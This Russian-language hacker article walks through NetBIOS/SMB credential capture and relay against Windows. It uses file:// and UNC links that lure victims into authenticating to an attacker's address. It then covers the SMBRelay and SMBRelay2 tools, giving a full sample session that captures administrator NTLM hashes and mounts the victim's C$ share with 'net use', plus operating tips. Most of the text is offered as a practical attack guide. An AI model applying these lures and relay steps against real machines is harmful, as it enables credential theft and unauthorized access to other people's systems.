Так как Винды
автоматически логинятся на хост под
текущим юзером (если специально не сказано
другое), то нападающий ака хаЦкер, установив
связь с жертвой через NetBIOS, может получить
всю регистрационную инфу, которую ем Винда
сама принесет на блюдечке с голубой
каемочкой. L0pht Crack's FAQ утверждает, что такой
способ хорош для получения паролей с
удаленного компа. Существует несколько
способов заставить Винду подцепиться по
NetBIOS’у к другому компьютеру. Тот же L0pht Crack's
FAQ советует послать жертве мыло с таким
линком file://1.2.3.4/share/whatever.html, чтобы, ткнув на
него, юзер подключился к 1.2.3.4-серверу в
качестве текущего юзера, со всеми “вытекающими”
из него паролями.
На самом деле,
довольно просто спровоцировать соединение
по NetBIOS-у. Для этого достаточно иметь любой
брозуер или приложение на основе IE API (WinInet) и
картинку в хтмл-документе со таким линком:
file://1.2.3.4/share/whatever.gif или можно использовать
NBNAME/RESPOND, чтобы вернуть атакующему IP адрес в
ответ на запросы (понятно, что лучше всего
вообще вызывать telnet соединение - NTLM зашит в
виндусовский клиент, хотя как видите и в IE
он по словам L0pht
есть). Или же можно заиметь удаленный сервис
(типа ftp/http), который не шибко проверяет
имена и пути сохранения файлов, на котором
можно сделать аналогичный линк: \\1.2.3.4\share\whatever.gif.
Концепция “посредничества”
конечно уже устарела. Но все же вынуждая
жертву идентифицироваться можно получить
доступ к его регистрационной инфе. Таким же
макаром можно получить доступ к любому
серверу, который запрашивает
аутентификационную инфу жертвы. После
получения этой инфы, клиент жертвы
отваливается, а нападающий остается на
сервере под логином жертвы и захватывает
соединение. SMB использует “вызов-отклик”
метод аутентификации. Вызов – это 8-ми
битные пакеты случайно сгенерированных
данных, которые зашифровывает клиент,
используя в качестве ключа свой пароль. Всё
это происходит примерно так:
Client->Server
Больно мне больно, хочу одну из служб
сервера!
Server->Client
Типа ответ, вот мое NetBIOS
имя для коннекта.
Client->Server
Ну ты крут чувак, какой протокол ты хочешь
использовать?
Server->Client
Щас выберу (выбирает), вот такой. Вот тебе
парочка данных - зашифруйка их мне.
Client->Server
Ща попробуем, вот мое имя и зашифрованные
данные, береги их е мое!
Server->Client
Да все зашибись, никому не отдам, заходи.
Получения доступа с
помощью NetBIOS’a выглядит примерно так:
Target client->Attacker
Хочу сессию, коннект давай.
Attacker->Target server
Типа тут станция - коннект хочет...
Target Server->Attacker
НУ приконнектися если сумеешь.
Attacker->Target client
Да ты коннектся, не боись.
Target client->Attacker
Ну ты крут чувак, какой протокол ты хочешь
использовать?
Attacker->Target server
Начинаем протокол определять. Хочешь
пообщатся со мной как с NT 4 без повышенной
безопасности?
Target server->Attacker
Давай так попробуем.
Attacker->Target client
ПротОкол выбрали, давай говори пароль!
Target client->Attacker
Сессию установили - вот мой пароль (данные
зашифрованные) и имя.
Attacker->Target server
Вот типа почти мой пароль и имя.
Target server->Attacker
Ок, заходи дарагой.
Attacker->Target client
и так далее.Законнектившись,
жертва может подтвердить установленное
соединение с помощью Net Session.
SMBRelay
SMBRelay – это программа
доступа, которая обменивается пакетами
данных по 139 порту с 139 портом удаленного
компа. Суть ее описана выше - при коннекте
удаленного хоста, она вытягивает у
пользователя фактически хэш его пароля и
записывает в файл. SMBRelay
– это многозадачная прога, которая
поддерживает несколько соединений
одновременно. Она автоматически создает
новые IP и удаляет их, когда жертва
отсоединяется. Она не допустит соединения
двух одинаковых IP, если только ранее не было
установлено успешное соединение с жертвой,
а потом разорвано. Если такое происходит, то
прога использует такой же адрес при
следующем коннекте. SMBRelay пишет куски
собранных NTLM паролей в hashes.txt,
чтобы ими можно было заняться позже - с
помощью L0phtcrack. Пример:
С:\>smbrelay /I 2 /D 1
SMBRelay v0.9664182F.G5 beta - NetBIOS session relay
Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to sirdystic@cultdeadcow.com
Bound to port 139 on address 11.11.11.11
Connection from 60.61.62.63:1140
Request type: Session Request 72 bytes
Source name: BOB <00>
Target name: *SMBSERVER <20>
Setting target name to source name and source name to 'CDC4EVER'...Response:
Positive Session Response 4 bytes
Request type: Session Message 174 bytes
SMB_COM_NEGOTIATE
Response: Session Message 99 bytes
Challenge (8 bytes): 268B11C361473D20
Request type: Session Message 278 bytes
SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password: 59A8A04CC37D226F0AC44065C84FDF9FEB1BB611C3CBE936
Case sensitive password: 8BA548AF1F9A517BBFBEF4E53D1D8B5D94E81C5523E7B251
Username: "administrator"
Domain: "BOB"
OS: "Windows NT 1381"
Lanman type: ""
Response: Session Message 148 bytes
OS: "Windows NT 4.0"
Lanman type: "NT LAN Manager 4.0"
Domain: "BOBSMITH"
Password hash written to disk
Connected?
Bound to port 139 on address 192.1.1.1 relaying for host BOB 60.61.62.63
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
D:\>net use \\192.1.1.1
The command completed successfully.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*** Relay connection for target BOB received
from 11.11.11.11:1472
Relay request type: Session Request 72 bytes, 72 target BOB
*** Sent positive session response for relay target BOB
Relay request type: Session Message 174 bytes, 174 target BOB
BOB:SMB_COM_NEGOTIATE 174 bytes
0 - Dialect 2 - PC NETWORK PROGRAM 1.0
1 - Dialect 2 - XENIX CORE
2 - Dialect 2 - MICROSOFT NETWORKS 1.03
3 - Dialect 2 - LANMAN1.0
4 - Dialect 2 - Windows for Workgroups 3.1a
5 - Dialect 2 - LM1.2X002
6 - Dialect 2 - LANMAN2.1
*** Sent dialect selection response (7) for
target BOB
Relay request type: Session Message 260 bytes, 260 target BOB
BOB:SMB_COM_SESSION_SETUP_ANDX 260 bytes
*** Sent SMB Session setup response for relay to BOB
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
D:\>net use z: \\192.1.1.1\c$
The command completed successfully.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Relay request type: Session Message 136 bytes,
136 target BOB
BOB:SMB_COM_SESSION_SETUP_ANDX 136 bytes
Received 132 byte response from target BOB
Relay request type: Session Message 81 bytes, 81 target BOB
BOB:SMB_COM_TREE_CONNECT_ANDX 81 bytes
Received 56 byte response from target BOB
Received request header, expecting 4 bytes for target BOB
Relay request type: Session Keep Alive 4 bytes, 4 target BOB
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
D:\>net use * /d /y
The command completed successfully.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Relay request type: Session Message 39 bytes,
39 target BOB
BOB:SMB_COM_TREE_DISCONNECT 39 bytes
Received 39 byte response from target BOB
Relay request type: Session Message 39 bytes, 39 target BOB
BOB:SMB_COM_TREE_DISCONNECT 39 bytes
Received 39 byte response from target BOB
Relay request type: Session Message 43 bytes, 43 target BOB
BOB:SMB_COM_LOGOFF_ANDX 43 bytes
*** Logoff from target BOB
*** Relay disconnected from target BOB
Bound to port 139 on address 192.1.1.1 relaying for host BOB 60.61.62.63
Deleted relay IP address 192.1.1.1 for target BOB
*** Target BOB Disconnected
Примечания по
использованию SMBRealy:
а) 139 порт должен не
использоваться - понятно почему. В
Win 2000 прога не сможет блокировать 139 порт,
если система уже использует его. Это
происходит из-за нового флага сокета,
который Мелкомягкие добавили специально,
чтобы предотвратить использование этого
порта другими приложениями. Проще всего
сделать это, используя команду /L+ option, чтобы
создать новый IP на вашем NIC’е и дождаться,
когда жертва сама подключится к заданному
адресу. Другой способ – это ручками
добавить новый айпи с помощью панели
управления и использовать /L для
спецификации этого адреса.
SMBRelay все же может
блокировать 139 порт, но не это не значит, что
прога действительно будет получать
входящие соединения. Если система уже
соединена с чем-то, когда SMBRelay
будет
блокировать порт, то скорее всего вообще
ничего работать не будет. Под Win 98 прога
вообще в принципе не коннектится, а под Win NT
даже при самых удачных обстоятельствах
лишь иногда устанавливает соединение. Чтобы
создать новый айпи на вашей машине, вы
должны задать определенный интерфейс
адаптера, используя опции и/или /IR, /IL.
Используйте /E, что просмотреть список
созданных ранее интерфейсов. Под Win NT этот
список просто симпатичные циферки, а в Win 2000
мы уже видим хексы. Если вы не используйте
команду /IR, чтобы установить интерфейс, то
прога по умолчанию придаст ему значение 1,
который использует интерфейс “петли”.
б) Прога должна быть
запущена от админа. Доступ админа так же
требуется для добавления и удаления Ip-адресов,
что в SMBRealy является нормальной операцией.
Поэтому SMBRealy должна работать только в
качестве аккаунта админа. SMBRealy пашет под и с
Win NT и Win 2000. Соединение с 9x и ME могут иметь
непредсказуемые последствия.
SMBRelay по идее должен
запускаться только на машинах с NT или Y2K, но
вы можете попробовать ее и под 98, но нет
гарантии, что она будет работать.
Первое, что вам нужно
сделать для того, чтобы законнектиться это
следующее:
NET USE \\192.1.1.1
После этого вы можете
делать все что угодно с компом жертвы через
сеть Windows, используя различные адреса
хостов (например: \\192.1.1.1).
SMBRelay2
SMBRelay2 также работает
на уровне NetBIOS’a и должна работать на любом
другом протоколе (например: NetBEUI, TCP/IP). SMBRelay2
больше использует адреса NetBIOS’a, а не айпи.
Она так же поддерживает передачу данных
третьему лицу. Но к сожалению, она
поддерживает “прослушивание” только
одного имени, поэтому жертва должна
попытаться законнектится к этому имени,
чтобы SMBRelay2 смогла работать (имя –
локальное), поэтому жертва должна ломиться
к ресурсу через локальное имя.